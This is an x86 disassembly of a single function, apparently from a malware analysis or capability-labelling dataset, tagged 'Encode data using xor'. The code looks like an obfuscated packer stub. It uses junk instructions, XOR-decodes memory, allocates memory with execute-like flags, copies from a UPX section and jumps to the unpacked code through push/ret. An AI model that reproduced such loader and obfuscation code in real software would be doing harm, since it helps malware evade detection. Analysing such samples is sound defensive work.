Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7f29b9e8
mov edx, eax
and eax, edx
popal
mov eax, edx
add eax, 0x17407b08
mov ecx, 0
mov esi, eax
inc edx
add ebx, 0x5c36cf19
mov edi, esi
mov edx, 0x828d7716
or ebx, ebx
mov ebx, 0xe758943a
mov eax, edi
mov edx, 0x8f66d6dd
not edx
or edx, ebx
inc ecx
mov ebx, 0xb3adf9a4
add edx, 0x592184b6
cmp ecx, 0x100c4f4
jne 0xa789c4
dec edx
inc edx
mov eax, edx
dec edx
add eax, edx
mov edi, 0xa78796
or esi, ebx
and ecx, esi
mov eax, 0xa7898a
dec ecx
inc ecx
not ecx
mov edx, dword [edi]
or ecx, ebx
sub esi, 1
and edx, 0xff
sub esi, ecx
sub ebx, 1
xor dword [eax], edx
or esi, esi
add esi, 0xcb1dbdbb
inc eax
add ecx, 0xbe355fc4
sub esi, 0x24ea6d09
add esi, 0x72cd4729
add edi, 1
mov ebx, 0x1d3c6fd9
add ebx, esi
cmp eax, entry0
jl 0xa78a17
mov ecx, 0x268bd628
sub ecx, ebx
sub ebx, ecx
dec ebx
add esi, esi
and esi, ecx
sub esi, 0x309913a3
add ebx, ecx
mov edx, 0xa7898e
or esi, ebx
dec ecx
and ebx, esi
mov edx, dword [edx]
sub ecx, edi
and ebx, ebx
add edi, 1
mov edx, dword [edx]
sub ecx, 0x659b6f1
dec ecx
mov esi, edi
push edx
dec ecx
mov ebx, 0xaf61ba44
inc ebx
mov edx, 0xa7898a
not edi
mov edi, ebx
sub ebx, 0x7a95e2f4
mov edx, dword [edx]
mov ecx, edi
inc ecx
mov edx, dword [edx]
or edi, esi
or edi, edi
sub esp, 4
mov dword [esp], 0xa78992
inc ecx
not edi
call edx
dec ecx
inc ebx
pop edx
dec ebx
or ebx, edi
add ebx, 0x33e2e27
push 0xa7899f
sub esi, edi
or ebx, ecx
not ebx
push eax
add edi, esi
and ecx, esi
sub edi, esi
call edx
sub edi, ebx
not esi
add esi, 0x3604fe0a
push 0x40
add ebx, 0xb04af8c
mov esi, ecx
add ebx, 0xf4916d97
push 0x3000
mov ecx, esi
inc edi
push 0x2000018d
add ebx, edi
not ebx
push 0
sub edi, 0x2860c1db
or esi, esi
inc esi
call eax
add esi, 0x7d2f50c6
not esi
add eax, 0x200000e0
or ecx, ecx
and ebx, edi
add ebx, 0xb3a69d6a
mov edx, 0xd2037075
sub esi, 0xb295f021
sub ecx, esi
add esi, ebx
mov dword [eax], edx
sub esi, ebx
mov ebx, esi
add esi, 1
mov edx, dword [eax]
sub edi, ebx
add edi, ecx
cmp edx, 0xd2037075
je 0xa78b73
mov ecx, 0
mov bl, byte [ecx]
sub esi, 0x4e74afb6
add ebx, 0xaae7ae12
mov edi, 0x9fd11c3a
not ecx
sub esi, 0x69c8a79d
add edi, 0x850dc1d
inc edx
add edx, 0x1a192cae
sub edx, 0xc2560360
mov ecx, section.UPX1
inc eax
sub eax, edx
mov edx, 0x7cbbc414
mov ebx, 0xa78795
sub edx, eax
inc edx
mov edi, 0
not eax
add edx, 0xb5f53677
mov edx, eax
mov esi, 0xa78796
add edx, 0xc000c9fb
or edx, edx
lea esi, [edi + esi]
inc eax
dec edx
add eax, 0x1ffdbfab
mov esi, dword [esi]
and edx, edx
mov edx, 0xaed9da92
and esi, 0xff
add eax, 1
sub eax, 0xcf95543d
add eax, eax
inc edi
sub eax, edx
or edx, edx
cmp edi, 0x1f4
jne 0xa78c0a
mov edi, 0
add edx, 0xe10ae8cc
mov eax, 0xdb7e63c9
add edx, edx
mov edx, eax
mov eax, 0x400799d3
xor dword [ecx], esi
add eax, 1
or eax, edx
add ecx, 2
and eax, eax
not eax
sub edx, 0xd4c87fd6
cmp ecx, ebx
jl 0xa78bc3
add edx, edx
and edx, edx
mov eax, 0x3218f56c
not edx
inc eax
mov eax, section.UPX1
sub edi, 0x402ba6bd
mov esi, edi
mov ebx, section.UPX1
and edi, esi
sub edi, 0x31119607
sub edi, esi
mov edx, 0xa78795
mov edi, 0xf76ca3a1
not edi
mov ecx, 0
and edi, esi
sub esi, edi
add edi, 0xcb7c7abe
mov cl, byte [ebx]
inc edi
mov esi, edi
inc esi
mov byte [eax], cl
sub esi, edi
not edi
add esi, 0x6bcc4a80
inc eax
mov esi, 0xbaeda518
or edi, esi
not edi
add ebx, 2
dec edi
sub esi, 0x354c3981
cmp ebx, edx
jle 0xa78c83
add edi, edi
and edi, esi
sub eax, edx
mov eax, edx
or eax, edx
push 0x8dc6a0
or eax, eax
and edx, eax
ret